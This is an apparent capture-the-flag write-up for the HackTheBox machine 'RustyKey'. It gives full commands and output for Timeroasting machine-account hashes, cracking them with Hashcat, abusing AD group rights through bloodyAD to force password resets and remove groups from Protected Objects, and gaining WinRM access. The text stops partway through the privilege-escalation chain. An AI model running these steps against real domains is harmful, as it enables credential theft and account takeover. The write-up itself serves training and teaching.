RustyKey – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Hard
  • Platform: HackTheBox

Avatar rustykey


Synopsis Link to heading

“RustyKey” is a Hard machine from HackTheBox platform focused on Active Directory (AD) exploitation. In this machine we will see how to perform a Timeroast attack, change passwords of users for lateral movement in the AD environment, check “content menu” actions and perform a DLL Hijacking and perform a Contrained Delegation to impersonate a privileged user in the domain.


Info
We start with credentials provided for this machine: user rr.parker and password 8#t5HE8L!W3A.

User Link to heading

Nmap scan shows multiple ports open: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 SMB, 5985 WinRM; among others:

❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49671,49673,49674,49677,49692,58315 10.129.136.108

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-29 17:42 -04
Nmap scan report for 10.129.136.108
Host is up (0.37s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-30 05:42:32Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
58315/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-06-30T05:43:39
|_  start_date: N/A
|_clock-skew: 8h00m00s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.73 seconds

Based on open ports we can affirm we are against an Active Directory (AD) environment.

We can check information about the domain using NetExec against SMB service:

❯ nxc smb 10.129.136.108

SMB         10.129.136.108  445    dc               [*]  x64 (name:dc) (domain:rustykey.htb) (signing:True) (SMBv1:False) (NTLM:False)

We get a machine name dc and a domain rustykey.htb.

Add the machine name, domain and FQDN (<machine name>.<domain>), along with the victim IP address, to our /etc/hosts file in our attacker machine:

❯ echo '10.129.136.108 dc dc.rustykey.htb rustykey.htb' | sudo tee -a /etc/hosts

We can check if we have access to the domain using the initial credentials provided for this machine for rr.parker user:

❯ nxc smb 10.129.136.108 -u 'rr.parker' -p '8#t5HE8L!W3A'

SMB         10.129.136.108  445    dc               [*]  x64 (name:dc) (domain:rustykey.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.129.136.108  445    dc               [-] rustykey.htb\rr.parker:8#t5HE8L!W3A STATUS_NOT_SUPPORTED

We get the error: STATUS_NOT_SUPPORTED.

We got a similar error from previous machine such as Vintage. There, NTLM authentication was disabled and we only could access to the machine using Kerberos service. Let’s try that here as well. Using getTGT.py from Impacket suite, request a Ticket Granting Ticket (TGT) to authenticate with Kerberos in the victim machine:

❯ impacket-getTGT rustykey.htb/rr.parker:'8#t5HE8L!W3A' -dc-ip 10.129.136.108

Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

We get the error KRB_AP_ERR_SKEW(Clock skew too great).

This is due to a difference between the time in our attacker machine and the current time in the victim machine. To solve it, we can use the tool faketime (which can be installed with sudo apt install faketime -y) along with ntpdate (that can be installed with sudo apt-get install ntpdate -y). Repeat the previous command using these tools:

❯ faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" impacket-getTGT rustykey.htb/rr.parker:'8#t5HE8L!W3A' -dc-ip 10.129.136.108

[*] Saving ticket in rr.parker.ccach

It worked. This creates a ticket (.ccache file) in our current directory called rr.parker.ccache.

Now we can use this ticket to authenticate against the target machine and check if this works using NetExec (along with faketime and ntpdate to avoid issues, this will be a constant through this WriteUp):

❯ KRB5CCNAME=rr.parker.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" nxc smb 10.129.136.108 -k --use-kcache

SMB         10.129.136.108  445    dc               [*]  x64 (name:dc) (domain:rustykey.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.129.136.108  445    dc               [+] RUSTYKEY.HTB\rr.parker from ccache

It worked.

Now let’s use bloodhound-python (more specifically, bloodhound-ce-python which can be installed with pipx install bloodhound-ce) since I will use Bloodhound Community Edition (or CE) to analyze the domain. We can then request information about the domain using this tool and the .ccache file:

❯ KRB5CCNAME=rr.parker.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" bloodhound-ce-python -k -no-pass -c ALL -u 'rr.parker' -d rustykey.htb -ns 10.129.136.108 -dc dc.rustykey.htb --zip

INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: rustykey.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc.rustykey.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 16 computers
INFO: Connecting to LDAP server: dc.rustykey.htb
INFO: Found 12 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 10 ous
INFO: Found 19 containers
INFO: Found 0 trusts
<SNIP>

We upload the generated .zip to Bloodhound but we don’t have permissions over other users.

However, rr.parker user is a member of Authenticated Users. Whose members are, at the same time, members of Pre-Windows 2000 Compatible Access. When we made the scan with bloodhound-python, we also could see a lot of machines (16) in the domain. If we look at members for the group Pre-Windows 2000 Compatible Access we can see that many machines are members of this group:

RustyKey 2

Back again at Vintage machine, we also had machines being part of this group. And we were allowed to read its hash.

A disadvantage (and dangerous thing) about computers in Pre-Windows 2000 Compatible Access is that we can request their hash without the need for authentication (similar to a Kerberoasting attack). More information about the risks of this group can be found at this blog. NetExec, from version 1.4.0 and beyond, comes with a module called timeroast. This function, as we have previously explained, allow us to request hashes from machines in the domain. More information about Timeroast Attack can be seen at this blog. Use NetExec and the mentioned module:

❯ KRB5CCNAME=rr.parker.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" nxc smb dc.rustykey.htb -k --use-kcache -M timeroast

SMB         dc.rustykey.htb 445    dc               [*]  x64 (name:dc) (domain:rustykey.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc.rustykey.htb 445    dc               [+] RUSTYKEY.HTB\rr.parker from ccache
TIMEROAST   dc.rustykey.htb 445    dc               [*] Starting Timeroasting...
TIMEROAST   dc.rustykey.htb 445    dc               1000:$sntp-ms$31c925c396fb9e3445170996b2063532$1c0111e900000000000a1f044c4f434cec0c8a4b13414a4de1b8428bffbfcd0aec0cb32f93412c1aec0cb32f93415b14
TIMEROAST   dc.rustykey.htb 445    dc               1103:$sntp-ms$ccf4db960bdaa31438041e07ff7bb186$1c0111e900000000000a1f054c4f434cec0c8a4b12cdfc77e1b8428bffbfcd0aec0cb33046c5a30cec0cb33046c5dc17
TIMEROAST   dc.rustykey.htb 445    dc               1105:$sntp-ms$b35d8afd31f8fca05195f18b9ca14bc5$1c0111e900000000000a1f054c4f434cec0c8a4b15c72c79e1b8428bffbfcd0aec0cb33049bed817ec0cb33049bf0a6c
TIMEROAST   dc.rustykey.htb 445    dc               1104:$sntp-ms$9df27a702024da9b72dc0b48d6b24b75$1c0111e900000000000a1f054c4f434cec0c8a4b15c60be8e1b8428bffbfcd0aec0cb33049bdaa1aec0cb33049bdeee3
TIMEROAST   dc.rustykey.htb 445    dc               1106:$sntp-ms$f86416c4cf1adbc975d66fa2bb234b48$1c0111e900000000000a1f054c4f434cec0c8a4b1449a2e1e1b8428bffbfcd0aec0cb3304c59ea57ec0cb3304c5a129b
TIMEROAST   dc.rustykey.htb 445    dc               1107:$sntp-ms$ab9497bb9456bfa1660c8a745f55bf61$1c0111e900000000000a1f054c4f434cec0c8a4b153a9959e1b8428bffbfcd0aec0cb3304d4ae0ceec0cb3304d4b0912
TIMEROAST   dc.rustykey.htb 445    dc               1118:$sntp-ms$b21adc2e4dbe4caf47949c48e51c8977$1c0111e900000000000a1f054c4f434cec0c8a4b13729472e1b8428bffbfcd0aec0cb3305f7a9196ec0cb3305f7ae070
TIMEROAST   dc.rustykey.htb 445    dc               1119:$sntp-ms$b0df4f98a478c167725a0fd96be5a984$1c0111e900000000000a1f054c4f434cec0c8a4b15133ea1e1b8428bffbfcd0aec0cb330611b4429ec0cb330611b808f
TIMEROAST   dc.rustykey.htb 445    dc               1120:$sntp-ms$3014ffcef8d94d46659337a37e86e273$1c0111e900000000000a1f054c4f434cec0c8a4b12d6f397e1b8428bffbfcd0aec0cb33062f78feeec0cb33062f7d4b8
TIMEROAST   dc.rustykey.htb 445    dc               1121:$sntp-ms$7cce6d04ec48e4b2f9aca80cc3cf5741$1c0111e900000000000a1f054c4f434cec0c8a4b143e8576e1b8428bffbfcd0aec0cb330645f21ceec0cb330645f633c
TIMEROAST   dc.rustykey.htb 445    dc               1122:$sntp-ms$8654412e19a159c3226ab1116e22f8dd$1c0111e900000000000a1f054c4f434cec0c8a4b13f581f7e1b8428bffbfcd0aec0cb33067ed1e7bec0cb33067ed69fb
TIMEROAST   dc.rustykey.htb 445    dc               1123:$sntp-ms$23407207b30bc77dd2139b9e782442e0$1c0111e900000000000a1f054c4f434cec0c8a4b1525587fe1b8428bffbfcd0aec0cb330691cf355ec0cb330691d3b7a
TIMEROAST   dc.rustykey.htb 445    dc               1124:$sntp-ms$04984d386abc3b0388b9990ea03dbae2$1c0111e900000000000a1f054c4f434cec0c8a4b124860c1e1b8428bffbfcd0aec0cb3306a589415ec0cb3306a58d8df
TIMEROAST   dc.rustykey.htb 445    dc               1125:$sntp-ms$6e429def5568c37ca86e02e1cdd0a731$1c0111e900000000000a1f054c4f434cec0c8a4b142a0a95e1b8428bffbfcd0aec0cb3306c3a1c5bec0cb3306c3a901e
TIMEROAST   dc.rustykey.htb 445    dc               1126:$sntp-ms$fc74b236852f56060d1a69b347e3c11e$1c0111e900000000000a1f054c4f434cec0c8a4b12503e05e1b8428bffbfcd0aec0cb3306e78fe18ec0cb3306e794b45
TIMEROAST   dc.rustykey.htb 445    dc               1127:$sntp-ms$e2c265748d30979f6f3e5c6bf671e3a4$1c0111e900000000000a1f054c4f434cec0c8a4b13f91cb6e1b8428bffbfcd0aec0cb3307021de77ec0cb33070222efe

We can also store all these hashes into a file using grep and awk:

❯ KRB5CCNAME=rr.parker.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" nxc smb dc.rustykey.htb -k --use-kcache -M timeroast | grep '\$sntp-ms\$' | awk '{print $5}' > timeroast_hashes.txt

❯ cat timeroast_hashes.txt

1000:$sntp-ms$6e83fe7c05a9cd08861c520ab8261bac$1c0111e900000000000a234b4c4f434cec0c8a4b1478e9f6e1b8428bffbfcd0aec0cb8d30c8920a5ec0cb8d30c895eb8
1104:$sntp-ms$2beb7c1d7235c85ad55323de0bfe9950$1c0111e900000000000a234b4c4f434cec0c8a4b14aca0dde1b8428bffbfcd0aec0cb8d3c4cd48f3ec0cb8d3c4cd7492
1103:$sntp-ms$940ca7b4bb510de26945a77e4a311370$1c0111e900000000000a234b4c4f434cec0c8a4b14ab7995e1b8428bffbfcd0aec0cb8d3c4cc2359ec0cb8d3c4cc50a6
1106:$sntp-ms$74dba08d759fac47cf0f0f8047a7a5cc$1c0111e900000000000a234c4c4f434cec0c8a4b14cc4842e1b8428bffbfcd0aec0cb8d3c8c3f3e0ec0cb8d3c8c427e2
1105:$sntp-ms$6f5a62ce1387ba475571fe5ba5167634$1c0111e900000000000a234c4c4f434cec0c8a4b14cae495e1b8428bffbfcd0aec0cb8d3c8c28e85ec0cb8d3c8c2c435
1107:$sntp-ms$64b294641905e393f26d20d2df2bbf3d$1c0111e900000000000a234c4c4f434cec0c8a4b137ec6afe1b8428bffbfcd0aec0cb8d3cb8f076fec0cb8d3cb8f3669
1118:$sntp-ms$27e2700d30b86c3b99535984a43c780e$1c0111e900000000000a234c4c4f434cec0c8a4b12426bb5e1b8428bffbfcd0aec0cb8d3e262fc4eec0cb8d3e263497b
1119:$sntp-ms$2db22a82b4c9abdf50338c8c0102d453$1c0111e900000000000a234c4c4f434cec0c8a4b1405a129e1b8428bffbfcd0aec0cb8d3e4261f4eec0cb8d3e426824a
1120:$sntp-ms$d4b7717f7e721eec2edd29d22fdc3168$1c0111e900000000000a234c4c4f434cec0c8a4b12a1ff99e1b8428bffbfcd0aec0cb8d3e6999f78ec0cb8d3e699e5ef
1121:$sntp-ms$f59d4c4090a81847e92e70852b23ee1b$1c0111e900000000000a234c4c4f434cec0c8a4b15820d8be1b8428bffbfcd0aec0cb8d3e979aa10ec0cb8d3e979f086
1122:$sntp-ms$19486082aaa64d793e669fe6b31702af$1c0111e900000000000a234c4c4f434cec0c8a4b13e70486e1b8428bffbfcd0aec0cb8d3ebf7403dec0cb8d3ebf77e51
1123:$sntp-ms$a0e7c40e1ad830e0ecab0168d94302b9$1c0111e900000000000a234c4c4f434cec0c8a4b1609e55ce1b8428bffbfcd0aec0cb8d3ee1a1702ec0cb8d3ee1a642f
1124:$sntp-ms$b4cef05dd98cdbdd0bd0bef109b6dbd0$1c0111e900000000000a234c4c4f434cec0c8a4b120d43b5e1b8428bffbfcd0aec0cb8d3ee360f86ec0cb8d3ee364f47
1125:$sntp-ms$d45c82921dfbece4d9937f03b3c5e7b1$1c0111e900000000000a234c4c4f434cec0c8a4b1408977ee1b8428bffbfcd0aec0cb8d3f0315e46ec0cb8d3f031a162
1126:$sntp-ms$787cf4f06619503d4ededade7aca6353$1c0111e900000000000a234c4c4f434cec0c8a4b12ad022ce1b8428bffbfcd0aec0cb8d3f2ace24bec0cb8d3f2ad14a0
1127:$sntp-ms$b7b6a5b261cdc9adaa176cfa7d8464dc$1c0111e900000000000a234c4c4f434cec0c8a4b144e4862e1b8428bffbfcd0aec0cb8d3f44e1cc3ec0cb8d3f44e5ad6

As an alternative, we can also use timeroast.py for exactly the same result:

❯ git clone https://github.com/SecuraBV/Timeroast.git -q

❯ cd Timeroast

❯ python3 timeroast.py dc.rustykey.htb

1000:$sntp-ms$cf219776f3b3e573ad622beac372e65a$1c0111e900000000000a275f4c4f434cec0c8a4b14c0e7bce1b8428bffbfcd0aec0cbe335cf1dfabec0cbe335cf227d0
1103:$sntp-ms$011a606d175a6e07f22adbbf5ac00890$1c0111e900000000000a27604c4f434cec0c8a4b152736a5e1b8428bffbfcd0aec0cbe34291ed832ec0cbe34291f1b4e
1104:$sntp-ms$54d98989d5f49f3241a1b6e9c4991b9c$1c0111e900000000000a27604c4f434cec0c8a4b1384703ce1b8428bffbfcd0aec0cbe342b94a899ec0cbe342b94e6ac
1105:$sntp-ms$7a5b1a657297132bb64bd6a123f20c2d$1c0111e900000000000a27604c4f434cec0c8a4b15a8e05ee1b8428bffbfcd0aec0cbe342db91204ec0cbe342db95d84
1106:$sntp-ms$50b2c3a097f766025cbcdef0441e6119$1c0111e900000000000a27604c4f434cec0c8a4b131c55a1e1b8428bffbfcd0aec0cbe342f452828ec0cbe342f4562e0
1107:$sntp-ms$300d6fcb85829e015f63e157c112175f$1c0111e900000000000a27604c4f434cec0c8a4b14d3557de1b8428bffbfcd0aec0cbe3430fc24a9ec0cbe3430fc62bc
1118:$sntp-ms$141826b4f09a90949e08e6ec56b6a139$1c0111e900000000000a27604c4f434cec0c8a4b154082a7e1b8428bffbfcd0aec0cbe34456120acec0cbe3445615b64
1119:$sntp-ms$82c1799f4ba4c6daf78f6666f0c4b9ec$1c0111e900000000000a27604c4f434cec0c8a4b140bef21e1b8428bffbfcd0aec0cbe3448038f00ec0cbe344803d21c
1120:$sntp-ms$4b201adda48573bd5613a1f117d73b28$1c0111e900000000000a27604c4f434cec0c8a4b161f22dae1b8428bffbfcd0aec0cbe344a16c615ec0cbe344a170931
1121:$sntp-ms$c04402f2336a1ac4d8a450654596abb3$1c0111e900000000000a27604c4f434cec0c8a4b137b2031e1b8428bffbfcd0aec0cbe344b8b5f44ec0cbe344b8b94f4
1122:$sntp-ms$056fd503d4d5c4e372512c003b7f5eb9$1c0111e900000000000a27604c4f434cec0c8a4b15afe6e2e1b8428bffbfcd0aec0cbe344dc01be4ec0cbe344dc05f00
1123:$sntp-ms$8cab4306429d2eb36ef8e80d3696684c$1c0111e900000000000a27604c4f434cec0c8a4b12a43d61e1b8428bffbfcd0aec0cbe344ecd0e3bec0cbe344ecd43eb
1124:$sntp-ms$537b1e39ff3aecc07efae9f3eca75b53$1c0111e900000000000a27604c4f434cec0c8a4b143b5972e1b8428bffbfcd0aec0cbe3450642a4cec0cbe3450645ffb
1125:$sntp-ms$8dafb9fae587f188a17251417e7f8bf2$1c0111e900000000000a27604c4f434cec0c8a4b15b0c2abe1b8428bffbfcd0aec0cbe3451d98cceec0cbe3451d9c934
1126:$sntp-ms$fc83c91de2152eb2243d135bfc6208d2$1c0111e900000000000a27604c4f434cec0c8a4b13522dcae1b8428bffbfcd0aec0cbe345352022bec0cbe3453523e91
1127:$sntp-ms$e93c1f1ab0a8c1ded039dd6bbec6a3c6$1c0111e900000000000a27604c4f434cec0c8a4b14edb4a3e1b8428bffbfcd0aec0cbe3454ed8757ec0cbe3454edc8c5

Now, the same blog explains that we could attempt to crack these hashes using Hashcat. However, we do need its latest beta version. This is because if we use Hashcat latest stable version it does not include mode 31300:

❯ hashcat -a 0 -m 31300 --user timeroast_hashes.txt
/usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

Either the specified hash mode does not exist in the official repository,
or the file(s) could not be found. Please check that the hash mode number is
correct and that the files are in the correct place.

/usr/share/hashcat/modules/module_31300.so: cannot open shared object file: No such file or directory

Started: Sun Jun 29 19:35:22 2025
Stopped: Sun Jun 29 19:35:23 2025

And, as can be seen at Haschat hashes examples, and also at the blog, the mode to crack these $sntp-ms$ hashes is 31300.

We can download and compile a beta version for Hashcat; or download a pre-release from its page. We can use wget in a console for this purpose:

❯ wget https://hashcat.net/beta/hashcat-6.2.6%2B1057.7z -q

Extract its content using 7z:

❯ 7z x hashcat-6.2.6+1057.7z

7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:5 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 17602654 bytes (17 MiB)

Extracting archive: hashcat-6.2.6+1057.7z
--
Path = hashcat-6.2.6+1057.7z
Type = 7z
Physical Size = 17602654
Headers Size = 23507
Method = LZMA2:384m LZMA:20 BCJ2
Solid = +
Blocks = 2

Everything is Ok

Folders: 49
Files: 2898
Size:       362542530
Compressed: 17602654

At the decompressed directory, we should now have a hashcat.bin binary for Hashcat, which can be used at a Linux machine (our attacker machine):

❯ ls hashcat-6.2.6 -la | grep hashcat

-rwxr-xr-x  1 gunzf0x gunzf0x 1317096 Jun 29 09:01 hashcat.bin
-rw-r--r--  1 gunzf0x gunzf0x 1498112 Jun 29 09:01 hashcat.exe
-rw-r--r--  1 gunzf0x gunzf0x  240526 Jun 29 09:01 hashcat.hcstat2

❯ hashcat-6.2.6/hashcat.bin -V

v6.2.6-1057-gc59d3b8f3

Now, use this beta version of Hashcat to attempt to crack the hashes extracted from Timeroast Attack, along with --username to avoid RIDs at the beginning of these hashes:

❯ hashcat-6.2.6/hashcat.bin -a 0 -m 31300 --username timeroast_hashes.txt /usr/share/wordlists/rockyou.txt

<SNIP>
$sntp-ms$d45c82921dfbece4d9937f03b3c5e7b1$1c0111e900000000000a234c4c4f434cec0c8a4b1408977ee1b8428bffbfcd0aec0cb8d3f0315e46ec0cb8d3f031a162:Rusty88!
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 31300 (MS SNTP)
Hash.Target......: timeroast_hashes.txt
<SNIP>

We get a password: Rusty88!.

This hash is for the user with RID 1125:

❯ hashcat-6.2.6/hashcat.bin -a 0 -m 31300 --username timeroast_hashes.txt /usr/share/wordlists/rockyou.txt --show

Mixing --show with --username or --dynamic-x can cause exponential delay in output.

1125:$sntp-ms$d45c82921dfbece4d9937f03b3c5e7b1$1c0111e900000000000a234c4c4f434cec0c8a4b1408977ee1b8428bffbfcd0aec0cb8d3f0315e46ec0cb8d3f031a162:Rusty88!

This hash is for the machine account It-Computer3$, as we can check with NetExec:

❯ KRB5CCNAME=rr.parker.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" nxc smb dc.rustykey.htb -k --use-kcache --rid-brute 1126 | grep 1125

SMB                      dc.rustykey.htb 445    dc               1125: RUSTYKEY\IT-Computer3$ (SidTypeUser)

Attempt to get a TGT for this machine account:

❯ faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" impacket-getTGT rustykey.htb/'IT-Computer3$':'Rusty88!' -dc-ip 10.129.136.108

[*] Saving ticket in IT-Computer3$.ccache

It worked. Therefore, the credentials were valid.

Back to Bloodhound, we search for IT-Computer3$ machine account. There we find that we have the privilege AddSelf to HelpDesk group:

RustyKey

Then, searching what members of HelpDesk group can do, we see that we have ForceChangePassword permission over 4 users (bb.morgan, gg.anderson, dd.ali and ee.reed), GenericWrite over only 1 user (dd.ali) and we also have AddMember over Protected Objects group:

RustyKey

However, if we search for Remote Management Users (users that can access the victim machine through WinRM), we can see that bb.morgan and gg.anderson are members of IT group; whereas ee.reed is member of Support group.

RutsyKey 5

Since we had ForceChangePassword over all these users, it is worthless (spoiler: it was not) adding ourselves to Protected Objects group since we will already have access just changing the password of these users. Instead, just change the password of one of these users and access to the victim machine.

The plan is then:

  1. Add ourselves (IT-Computer3$ machine account) to HelpDesk group.
  2. Once we are members of HelpDesk group, change the password for one of the users that can access through WinRM service, since they will be members of Remote Management Group.
  3. Request a TGT for any of the users whose password we have changed.
  4. Access to the victim machine using the generated TGT using WinRM service.

Let’s start. Add ourselves (IT-Computer3$) to HelpDesk group using bloodyAD with the generated TGT for this account:

❯ KRB5CCNAME=IT-Computer3\$.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" bloodyAD -k --host dc.rustykey.htb -d rustykey.htb add groupMember 'HelpDesk' 'IT-Computer3$'

[+] IT-Computer3$ added to HelpDesk

Now, we have to request a new TGT. The old ticket for IT-Computer3$ account was requested when we were not members of HelpDesk group. Now we need to request another one once we have added ourselves to this group. This new TGT will be “updated”, and we will have the permission to performs future steps:

❯ faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" impacket-getTGT rustykey.htb/'IT-Computer3$':'Rusty88!' -dc-ip 10.129.136.108

Then, using the “updated” TGT, we use bloodyAD to change the password for bb.morgan user:

❯ KRB5CCNAME=IT-Computer3\$.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" bloodyAD -k --host dc.rustykey.htb -d rustykey.htb set password 'bb.morgan' 'GunZF0x123!'

[+] Password changed successfully!
Note
There is a task reestablishing users and groups to their original state. So we might need to run again some commands to attempt the “chain” attack.

But even if we now request an updated TGT as bb.morgan with impacket-getTGT and the updated password, it fails:

❯ faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" impacket-getTGT rustykey.htb/'ee.reed':'GunZF0x123!' -dc-ip 10.129.136.108

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Kerberos SessionError: KDC_ERR_ETYPE_NOSUPP(KDC has no support for encryption type)

This might be because, as we have said, these users are part of Protected Objects group:

RustyKey 6

This group seems to be a protected group that can be protected against theft credentials as explained by Microsoft.

Since bb.morgan user is a member of IT group and, at the same time, IT is part of Protected Objects, we could use our AddMember right over this last group to remove IT from Protected Objects group. This would also remove bb.morgan from Protected Objects group and we might be able to request a TGT in behalf of this user. Therefore, remove IT from Protected Objects group using bloodyAD:

❯ KRB5CCNAME=IT-Computer3\$.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" bloodyAD -k --host dc.rustykey.htb -d rustykey.htb remove groupMember 'Protected Objects' 'IT'

[-] IT removed from Protected Objects

Then, we can change the password for bb.morgan user:

❯ KRB5CCNAME=IT-Computer3\$.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" bloodyAD -k --host dc.rustykey.htb -d rustykey.htb set password 'bb.morgan' 'GunZF0x123!'

[+] Password changed successfully!

and request a TGT for this user:

❯ faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" impacket-getTGT rustykey.htb/'bb.morgan':'GunZF0x123!' -dc-ip 10.129.136.108

[*] Saving ticket in bb.morgan.ccache

Since bb.morganis part of Remote Management Users, it should be able to get access to the victim machine using WinRM service. We can use evil-winrm for this purpose. However, since NTLM authentication is disabled, we first need to configure our machine to allow connection through Kerberos with evil-winrm. First, generate a configuration file using NetExec:

❯ nxc smb 10.129.136.108 --generate-krb5-file /tmp/krb5_config_file

SMB         10.129.136.108  445    dc               [*]  x64 (name:dc) (domain:rustykey.htb) (signing:True) (SMBv1:False) (NTLM:False)

❯ cat /tmp/krb5_config_file

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = RUSTYKEY.HTB

[realms]
    RUSTYKEY.HTB = {
        kdc = dc.rustykey.htb
        admin_server = dc.rustykey.htb
        default_domain = rustykey.htb
    }

[domain_realm]
    .rustykey.htb = RUSTYKEY.HTB
    rustykey.htb = RUSTYKEY.HTB

Then, move the generated file to /etc/krb5.conf file (remember to always create a backup):

❯ sudo cp /etc/krb5.conf /etc/krb5_copy.conf

❯ sudo mv /tmp/krb5_config_file /etc/krb5.conf

and, then, use the TGT for bb.morgan with evil-winrm:

❯ KRB5CCNAME=bb.morgan.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" evil-winrm -i DC.rustykey.htb -r RUSTYKEY.HTB

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\bb.morgan\Documents>

We can grab the user flag at bb.mogran’s Desktop.


NT Authority/System - Administrator Link to heading

At bb.morgan directory, we can see a PDF file:

*Evil-WinRM* PS C:\Users\bb.morgan\Documents> dir ..\Desktop


    Directory: C:\Users\bb.morgan\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         6/4/2025   9:15 AM           1976 internal.pdf
-ar---        6/29/2025   9:00 PM             34 user.txt

Download this file using download function from evil-winrm:

*Evil-WinRM* PS C:\Users\bb.morgan\Documents> cd ..\Desktop

*Evil-WinRM* PS C:\Users\bb.morgan\Desktop> download internal.pdf

Info: Downloading C:\Users\bb.morgan\Desktop\internal.pdf to internal.pdf

Info: Download successful!

Reading this PDF file shows a message for Support Team:

RustyKey 7

Internal Memo

From: bb.morgan@rustykey.htb
To: support-team@rustykey.htb
Subject: Support Group - Archiving Tool Access
Date: Mon, 10 Mar 2025 14:35:18 +0100

Hey team,
As part of the new Support utilities rollout, extended access has been temporarily granted to allow
testing and troubleshooting of file archiving features across shared workstations.
This is mainly to help streamline ticket resolution related to extraction/compression issues reported
by the Finance and IT teams. Some newer systems handle context menu actions differently, so
registry-level adjustments are expected during this phase.
A few notes:

- Please avoid making unrelated changes to system components while this access is active.
- This permission change is logged and will be rolled back once the archiving utility is confirmed
stable in all environments.
- Let DevOps know if you encounter access errors or missing shell actions.

Thanks,
BB Morgan
IT Department

It talks about some testing tools for Support Team.

If we look back at Bloodhound, user ee.reed was a member of Support group. We also had ForceChangePassword over this user. Therefore, we might run again the commands to add ourselves to HelpDesk group (since the tasks might already have removed IT-Computer3$ user from this group), remove Support from Protected Objects group, change the password for ee.reed user, get a TGT as e.reed user and log in as e.reed user with evil-winrm:

❯ KRB5CCNAME=IT-Computer3\$.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" bloodyAD -k --host dc.rustykey.htb -d rustykey.htb add groupMember 'HelpDesk' 'IT-Computer3$' && faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" impacket-getTGT rustykey.htb/'IT-Computer3$':'Rusty88!' -dc-ip 10.129.136.108
 
[+] IT-Computer3$ added to HelpDesk

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in IT-Computer3$.ccache

❯ KRB5CCNAME=IT-Computer3\$.ccache faketime "$(ntpdate -q rustykey.htb | cut -d ' ' -f 1,2)" bloodyAD -k --host dc.rustykey.htb -d rustykey.htb remove groupMember 'Protected Objects' 'Support'

